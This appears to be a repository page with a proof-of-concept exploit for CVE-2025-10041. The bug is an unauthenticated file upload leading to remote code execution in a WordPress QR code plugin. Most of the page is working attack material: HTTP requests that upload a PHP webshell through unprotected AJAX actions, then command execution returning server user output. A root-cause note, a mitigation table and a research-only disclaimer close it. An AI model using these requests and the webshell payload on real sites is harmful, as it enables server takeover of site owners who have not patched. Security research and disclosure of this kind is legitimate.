kai-one001/wordpress-flex-qr-code-generator---cve-2025-10041Technical analysis and proof-of-concept exploit for CVE-2025-10041, an unauthenticated arbitrary file upload leading to remote code execution in the WordPress Flex QR Code Generator plugin.
未授权获取 ID → 调用更新接口上传 PHP 文件 → 访问 webshell → RCE
POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded
per_page=50&page=1
响应中可获取有效 id（如 9）和 路径。
logo_url{
"success": true,
"data": {
"qrCodes": [{
"id": "9",
"qr_name": null,
"text": "",
"qr_code_url": null,
"qr_image_url": null,
"tracking": "0",
"tracking_details": null,
"qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
"created_at": "2025-10-16 11:16:53",
"logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
},
{
"id": "8",
"qr_name": null,
"text": "https:\/\/example.com",
"qr_code_url": null,
"qr_image_url": null,
"tracking": "0",
"tracking_details": null,
"qr_data": "{\"data\":\"https:\/\/example.com\"}",
"created_at": "2025-10-16 11:01:53",
"logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
}], "totalItems": "9"
}
}
POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"
{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"
9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"
false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream
AiErBuDe
------WebKitFormBoundaryABC123--
✅ 响应 success: true 表示上传成功。
{
"success": true,
"data": {
"message": "QR code updated successfully.",
"id": 9,
"finalUrl": "https:\/\/example.com"
}
}
文件路径格式：{original_name}_{id}.php
GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0
服务器返回文件内容
HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8
AiErBuDe
未授权访问接口上传恶意文件 → 访问 webshell → RCE
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: wp_nonce=884957; test=1337
Content-Length: 536
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"
flexqr_save_qr
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"
{"qrName":"shell","qrDesc":"bypass","qrData":"https://evil.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"
false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="AiErBuDe.php"
Content-Type: image/png
<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--
响应中可获取有效 id（如 10）和 success结果
{
"success": true,
"data": {
"message": "QR code saved successfully.",
"id": 10,
"finalUrl": ""
}
}
GET /wp-content/uploads/2025/10/AiErBuDe_10.php?cmd=id HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0
✅ 服务器返回命令执行结果，RCE 成功。
HTTP / 1.1 200 OK Date: Thu,
16 Oct 2025 15 : 52 : 37 GMT Server: Apache / 2.4.59(Debian) X - Powered - By: PHP / 8.2.21 Vary: Accept - Encoding Content - Type: text / html;
charset = UTF - 8 Content - Length: 54
uid = 33(www - data) gid = 33(www - data) groups = 33(www - data)
flex-qr-code-generator/qr-code-generator.phpsave_qr_code_to_db() 和 update_qr_code()$_FILES['logo']['error'] === UPLOAD_ERR_OK{original_name}_{id}.ext，id 为自增主键通过 wp_ajax_nopriv_ 钩子注册，接口可被未登录用户访问：
add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);
nopriv表示“无权限要求”，攻击者无需登录即可调用。
| 措施 | 说明 |
|---|---|
| ✅ 权限控制 | 移除 nopriv 钩子，仅允许管理员调用 |
| ✅ 文件类型校验 | 白名单限制扩展名（如 jpg/png/gif） |
| ✅ 禁止执行 PHP | 在 uploads/.htaccess 中禁止 PHP 执行 |
| ✅ 文件重命名 | 使用随机文件名，避免猜测 |
| ✅ 升级插件 | 关注官方更新，及时升级 |
本文仅用于安全研究与教学目的，禁止未经授权的渗透测试或攻击行为。使用者需遵守相关法律法规。